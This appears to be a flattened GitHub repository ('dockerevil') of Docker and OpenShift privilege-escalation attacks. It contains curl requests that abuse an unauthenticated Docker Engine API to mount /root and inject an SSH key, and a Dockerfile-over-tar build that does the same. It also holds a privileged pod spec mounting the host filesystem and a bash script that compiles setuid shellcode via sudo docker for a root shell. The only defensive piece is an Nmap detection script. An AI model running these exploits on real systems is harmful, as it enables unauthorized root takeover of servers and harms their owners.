├── README.md ├── docker-api.md ├── http-docker-rapi.nse ├── openshift-priv.json ├── privbuildtar.md ├── sud0-priv.sh └── sudo-priv.md /README.md: -------------------------------------------------------------------------------- 1 | # dockerevil 2 | 3 | A simple repository to store my security flaws in the docker technology 4 | 5 | 6 | ### 2016 - 2017 7 | * **[Docker API Privilege Escalation(LPE/RPE)](https://github.com/pyperanger/dockerevil/blob/master/docker-api.md)** 8 | * **[Escalate from Offline Server/Minimal Images/Build from TAR Dockerfile](https://github.com/pyperanger/dockerevil/blob/master/privbuildtar.md)** 9 | * **[Docker SUDO Privilege Escalation](https://github.com/pyperanger/dockerevil/blob/master/sudo-priv.md) ([PoC](https://github.com/pyperanger/dockerevil/blob/master/sud0-priv.sh))** 10 | * **[Nmap Scripts](https://github.com/pyperanger/dockerevil/blob/master/http-docker-rapi.nse)** 11 | 12 | ### 2019 13 | * **[CodeStudent1995 Based Exploit](https://github.com/CodeStudent1995/DOCKEREVIL)** 14 | * **[OpenShift Privilege Escalation(oc)](https://github.com/pyperanger/dockerevil/blob/master/openshift-priv.json)** 15 | 16 | 17 | *** 18 | Other awesome security flaws found in the docker: 19 | 20 | * [How Abusing Docker API Led to Remote Code Execution, Same Origin Bypass and Persistence in The Hypervisor via Shadow Containers](https://www.blackhat.com/docs/us-17/thursday/us-17-Cherny-Well-That-Escalated-Quickly-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence_wp.pdf) 21 | 22 | * [CVE-2016-9962](http://seclists.org/oss-sec/2017/q1/54) 23 | 24 | * [CVE-2017-14992](https://github.com/moby/moby/issues/35075) 25 | 26 | * [CVE-2019-5736](https://github.com/feexd/pocs/tree/master/CVE-2019-5736) 27 | -------------------------------------------------------------------------------- /docker-api.md: -------------------------------------------------------------------------------- 1 |  2 | # Docker API Privilege Escalation 3 | *** 4 | 5 | This document has the objective to explain a simple way to remotely make a privilege escalation in a Docker, using it's own Engine API service. 6 | 7 | During my analisys routine I manage to successfully make an attack, so I decided to share freely. 8 | 9 | I`ve made an image available containing a SSH service enabled in the [Docker Hub](https://hub.docker.com/r/pype/privsshd/) to help in the attack (The image available it's huge, more than 200MB because of the Ubuntu base image. As soon as possible I will made available a smaller image). 10 | 11 | PS: This attack explore a option available in the docker, without the need to utilize memory exploitation or similar way (As usually used to escape the container). 12 | **PS2: This is only ONE of many ways to explore an server utilizing the docker API service.** If during my analysis I find others explore methods, I will post in this repository. 13 | 14 | Any suggestions to improve the attack or to protect yourself, I'm available to listen to all of it and add to this document if appropriate. 15 | 16 | 17 | ## Engine API 18 | 19 | *"The Engine API is an HTTP API served by Docker Engine. It is the API the Docker client uses to communicate with the Engine, so everything the Docker client can do can be done with the API."* 20 | 21 | **By default this service don't use any authentication**, but this resource it's made available by the platform. 22 | 23 | - [Docker Engine API](https://docs.docker.com/engine/api/v1.32/) 24 | - [Authentication](https://docs.docker.com/engine/api/v1.32/#section/Authentication) 25 | 26 | During the attack, we are going to utilize the parameters provided by the platform so this way we can explore the system and obtain privileged internal access. 27 | 28 | ## Exploitation 29 | The main focus of the attack it's to be able to inject our public key inside the file *"authorized_keys"* from the root user in the server! 30 | 31 | 32 | The exploration consist in six parts: 33 | 34 | 1. **Push the image in server** 35 | 2. **Configure a container with our image** 36 | 3. **Start the container** 37 | 4. **Connect to container SSH** 38 | 5. **Import public key in .ssh/authorized_keys in root directory** 39 | 6. **Finaly connect to SSH server with root access** 40 | 41 | *** 42 | 43 | * **Push image in server** 44 | 45 | The selected image for the attack need to have some kind the shell remote service available in the start, so this way we can connect to the container inside the server. 46 | 47 | ```bash 48 | curl -XPOST "http://victim/images/create?fromImage=pype/privsshd" 49 | 50 | < HTTP/1.1 200 OK 51 | < Content-Type: application/json 52 | < Server: Docker/1.12.6 (linux) 53 | < Date: Sat, 06 Jan 2018 15:41:46 GMT 54 | < Transfer-Encoding: chunked 55 | < 56 | ... 57 | {"status":"Status: Image is up to date for docker.io/pype/privsshd:latest"} 58 | ``` 59 | In the example above I used the option to create an image from the official repository. There is [other methods](https://docs.docker.com/engine/api/v1.24/#32-images) to execute the same operation. 60 | 61 | pype/privsshd - The Image that I've made available to help in the documentation of the attack. 62 | 63 | * **Configure a container with our image** 64 | 65 | For we to be able to inject our public key inside the file .ssh/authorized_key, we need access to the root directory in the Docker Server. For this we are going to utilize the option "Binds", this way we can select the volume of what is going to be shared between the server and our container. (Remember to configure the read and write option) 66 | 67 | **SELINUX *"Bypass"*** 68 | 69 | The Docker provides a mounting option capable of modify the SELINUX file or directory label shared with the container. With this option, it’s possible to mount privileged directory inside of our container (E.g.: /root/;/etc;/bin …). 70 | 71 | We can send this option via API too, this way we can work around the SELINUX remotely . 72 | 73 | *"This affects the file or directory on the host machine itself and can have consequences outside of the scope of Docker."* 74 | 75 | ```json 76 | "Binds":[ 77 | "/root/:/root/:rw,z" 78 | ] 79 | ``` 80 | 81 | Mais informações: [Configure-the-selinux-label](https://docs.docker.com/engine/admin/volumes/bind-mounts/#configure-the-selinux-label) 82 | 83 | 84 | Supposing that our target server already has the port number 22 busy by it's own SSH service, we have to point another outgoing port for our connection with the container, we are going to configure the option "PortBindings" with "HostPort" in another port. 85 | ```json 86 | { 87 | "Image":"pype/privsshd", 88 | "Binds":[ 89 | "/root/:/root/:rw,z" 90 | ], 91 | "PortBindings":{ 92 | "22/tcp":[ 93 | { 94 | "HostIp":"", 95 | "HostPort":"2233" 96 | } 97 | ] 98 | } 99 | } 100 | ``` 101 | JSON it's the only format accepted by the platform, therefore configure the Content-Type of your requisition to this type of language. 102 | 103 | ```bash 104 | curl -H "Content-Type: application/json" -d '{"Image":"pype/privsshd", "Binds": ["/root/:/root/:rw,z"],"PortBindings":{"22/tcp":[{"HostIp":"","HostPort":"2233"}]}}' -XPOST "http://victim/containers/create" 105 | 106 | < HTTP/1.1 201 Created 107 | < Content-Type: application/json 108 | < Server: Docker/1.12.6 (linux) 109 | < Date: Sat, 06 Jan 2018 16:03:34 GMT 110 | < Content-Length: 90 111 | < 112 | {"Id":"5a3c7f18d202f62...4789e781132495781f","Warnings":null} 113 | ``` 114 | If everything worked out, the requisition will return an ID and this will be the your container identifier 115 | 116 | * **Start the container** 117 | 118 | Use the Identifier to start your container remotely. 119 | 120 | ```bash 121 | curl -XPOST "http://victim/containers/5a3c7f18d202f62...4789e781132495781f/start" -v 122 | 123 | < HTTP/1.1 204 No Content 124 | < Server: Docker/1.12.6 (linux) 125 | < Date: Sat, 06 Jan 2018 22:29:46 GMT 126 | 127 | ``` 128 | Verify if the service was started with success in the target server. 129 | 130 | ```bash 131 | ~ » nc victim 2233 132 | SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2 133 | ``` 134 | 135 | * **Connect to container SSH** 136 | 137 | ```bash 138 | ~ » ssh root@victim -p2233 139 | root@victim password: 140 | root@5a3c7f18d202:~# 141 | ``` 142 | 143 | If you utilized my image **privsshd**, the root password it's: *screencast*. 144 | 145 | 146 | * **Import public key in .ssh/authorized_keys in root directory** 147 | 148 | Now you are free to inject your public key and... 149 | 150 | ```bash 151 | root@5a3c7f18d202:~# ls .ssh/ 152 | authorized_keys id_rsa id_rsa.pub known_hosts 153 | root@5a3c7f18d202:~# echo "ssh-rsa AAAAB3NzaC1yc2EAAAAD.." >> .ssh/authorized_keys 154 | ``` 155 | * **Finaly connect to SSH server with root access** 156 | 157 | ```bash 158 | ~ » ssh root@victim -i key.rsa 159 | [root@docker-server ~]# id 160 | uid=0(root) gid=0(root) groups=0(root) 161 | [root@docker-server ~]# docker --version 162 | Docker version 1.12.6, build ae7d637/1.12.6 163 | ``` 164 | 165 | Now you have privileged access inside the remote server. :) 166 | 167 | *** 168 | References: 169 | 170 | http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html 171 | 172 | https://docs.docker.com/engine/api/v1.24 173 | 174 | https://www.securusglobal.com/community/2014/03/17/how-i-got-root-with-sudo/ 175 | 176 | 177 | 178 | -------------------------------------------------------------------------------- /http-docker-rapi.nse: -------------------------------------------------------------------------------- 1 | local http = require "http" 2 | local shortport = require "shortport" 3 | local stdnse = require "stdnse" 4 | 5 | 6 | description = [[ 7 | An attacker can start containers with malicious images, allowing 8 | the execution of commands with root permissions. 9 | "The Engine API is an HTTP API served by Docker Engine. It is the 10 | API the Docker client uses to communicate with the Engine, so 11 | everything the Docker client can do can be done with the API." 12 | 13 | There is no default port for this service 14 | 15 | https://pyperanger.github.io/2018/01/18/docker-api/ 16 | https://docs.docker.com/engine/api/v1.24/ 17 | 18 | ]] 19 | 20 | --@usage 21 | -- nmap --script http-docker-rapi -sV 22 | 23 | --@output 24 | --PORT STATE SERVICE REASON VERSION 25 | --4243/tcp open http syn-ack ttl 64 Golang net/http server 26 | --| docker: 27 | --| references: 28 | --| https://pyperanger.github.io/2018/01/18/docker-api/ 29 | --| https://docs.docker.com/engine/api/v1.24/ 30 | --| description: An attacker can start containers with malicious images, allowing 31 | --| the execution of commands with root permissions. 32 | --| "The Engine API is an HTTP API served by Docker Engine. It is the 33 | --| API the Docker client uses to communicate with the Engine, so 34 | --| everything the Docker client can do can be done with the API." 35 | --| 36 | --| Server /version: {"Version":"1.12.6" 37 | --| "ApiVersion":"1.24" 38 | --| "GitCommit":"ae7d637/1.12.6" 39 | --| "GoVersion":"go1.7.6" 40 | --| "Os":"linux" 41 | --| "Arch":"amd64" 42 | --| "KernelVersion":"4.4" 43 | --| "BuildTime":"2017-07-18T16:18:12.179285019+00:00" 44 | --| "PkgVersion":"docker-common-1.12.6-7.gitae7d637.fc25.x86_64"} 45 | --| 46 | --| risk_factor: High 47 | --|_ title: Docker API Remote Privilege Escalation 48 | 49 | 50 | 51 | author = "pype" 52 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 53 | categories = { "vuln", "safe" } 54 | 55 | portrule = shortport.http 56 | 57 | action = function(host, port) 58 | local response = http.generic_request(host, port,"OPTIONS", "/") 59 | 60 | version = {} 61 | local vuln = { 62 | title = "Docker API Remote Privilege Escalation", 63 | risk_factor = "High", 64 | description = [[ 65 | An attacker can start containers with malicious images, allowing 66 | the execution of commands with root permissions. 67 | "The Engine API is an HTTP API served by Docker Engine. It is the 68 | API the Docker client uses to communicate with the Engine, so 69 | everything the Docker client can do can be done with the API." 70 | ]], 71 | references = { 72 | 'https://pyperanger.github.io/2018/01/18/docker-api/', 73 | 'https://docs.docker.com/engine/api/v1.24/' 74 | } 75 | } 76 | 77 | 78 | if response.status == 200 and string.match(response.header["server"], "Docker") then 79 | gver = http.get(host, port, "/version") 80 | version["Server /version"] = gver.body:gsub(",","\n\t") 81 | 82 | else 83 | return 84 | end 85 | 86 | local res_unauth = http.get(host, port, "/images/search?term=ubuntu") 87 | 88 | if res_unauth.status == 200 then 89 | vuln["Server /version"] = gver.body:gsub(",","\n\t") 90 | return vuln 91 | else 92 | return version 93 | 94 | end 95 | 96 | end 97 | -------------------------------------------------------------------------------- /openshift-priv.json: -------------------------------------------------------------------------------- 1 | { 2 | "apiVersion": "v1", 3 | "id": "privid", 4 | "kind": "Pod", 5 | "metadata": { 6 | "name": "privid" 7 | }, 8 | "spec": { 9 | "containers": [ 10 | { 11 | "name": "privid", 12 | "image": "ubuntu", 13 | "volumeMounts": [ 14 | { 15 | "mountPath": "/mnt", 16 | "name": "volumeshared" 17 | } 18 | ], 19 | "securityContext": { 20 | "capabilities": {}, 21 | "privileged": true, 22 | "runAsUser" : 0 23 | } 24 | } 25 | ], 26 | "volumes": [ 27 | { 28 | "name": "volumeshared", 29 | "hostPath": { 30 | "path": "/" 31 | } 32 | } 33 | ] 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /privbuildtar.md: -------------------------------------------------------------------------------- 1 | ## Quick update, I'll write in more detail later.. 2 | 3 | PS: There are THOUSANDS of other ways to do this .. in my case as well. 4 | 5 | So the Docker API server does not have SSH, does not have interpreted languages, has nothing !!) 6 | 7 | I solved this by quickly sending a Dockerfile file to the API build 8 | 9 | ``` 10 | FROM 11 | USER root 12 | ENTRYPOINT echo "PUBLIC-KEY" >> /root/.ssh/authorized_keys 13 | ``` 14 | 15 | Needs this inside a TAR file, which will be sent to the server (then use your imagination) 16 | 17 | ```bash 18 | $ tar -cvf p4y.tar Dockerfile 19 | $ curl -XPOST -H "content-type: application / x-tar" --data-binary @ p4y.tar "http://victim/build" 20 | 21 | {"stream": "Step 1: FROM some-minimal-image \ n"} 22 | {"stream": "--- \ u003e 214bf35152ea \ n"} 23 | {"stream": "Step 2: user root \ n"} 24 | {"stream": "--- \ u003e Running at 78af75a2b4d7 \ n"} 25 | {"stream": "--- \ u003e 74d106dea791 \ n"} 26 | {"stream": "Removing the intermediate container 78af75a2b4d7 \ n"} 27 | {"stream": "Step 3: ENTRYPOINT echo \" ssh-rsa MY_PUBLIC_KEY \ "\ u003e /root/.ssh/authorized_keys\n"} 28 | {"stream": "--- \ u003e Running on bebcc4a6ba0f \ n"} 29 | {"stream": "--- \ u003e 0470cc164544 \ n"} 30 | {"stream": "Removing the intermediate container bebcc4a6ba0f \ n"} 31 | {"stream": "0470cc164544 successfully built \ n"} 32 | ``` 33 | 34 | Now, just connect the container with the image and then start. 35 | 36 | PS: remember to delete the image and the container later;) 37 | 38 | Kisses 39 | -------------------------------------------------------------------------------- /sud0-priv.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # SUDO Docker Privilege Escalation 4 | # https://github.com/pyperanger/dockerevil 5 | 6 | # SELINUX "bypass" using :z option 7 | # https://docs.docker.com/engine/admin/volumes/bind-mounts/#configure-the-selinux-label 8 | 9 | 10 | echo "[*] SUDO Docker Privilege Escalation"; 11 | 12 | echo "[+] Writing shellcode"; 13 | 14 | cat > /tmp/sud0-d0ck3r.c <<'EOF' 15 | 16 | #include 17 | #include 18 | 19 | unsigned char shellcode[] = \ 20 | "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"; 21 | int main() 22 | { 23 | setgid(0); 24 | setuid(0); 25 | int (*ret)() = (int(*)())shellcode; 26 | ret(); 27 | } 28 | 29 | EOF 30 | 31 | echo "[+] Compiling shellcode in container"; 32 | 33 | sudo docker run -t -v /tmp/:/tmp/:z pype/ubuntu_gcc /bin/sh -c 'gcc -fno-stack-protector -z execstack /tmp/sud0-d0ck3r.c -o /tmp/sud0-d0ck3r && chmod +xs /tmp/sud0-d0ck3r' 34 | 35 | echo "[+] r00t sh3ll !"; 36 | /tmp/sud0-d0ck3r 37 | -------------------------------------------------------------------------------- /sudo-priv.md: -------------------------------------------------------------------------------- 1 | ## Docker SUDO Privilege Escalation 2 | 3 | **If a user has sudo permissions to /usr/bin/docker, it can be leveraged to escalated privileges to root.** 4 | 5 | ### PoC Video - [exploit](https://github.com/pyperanger/dockerevil/blob/master/sud0-priv.sh) 6 | 7 | 8 | [![demo](https://asciinema.org/a/155966.png)](https://asciinema.org/a/155966?autoplay=1) 9 | --------------------------------------------------------------------------------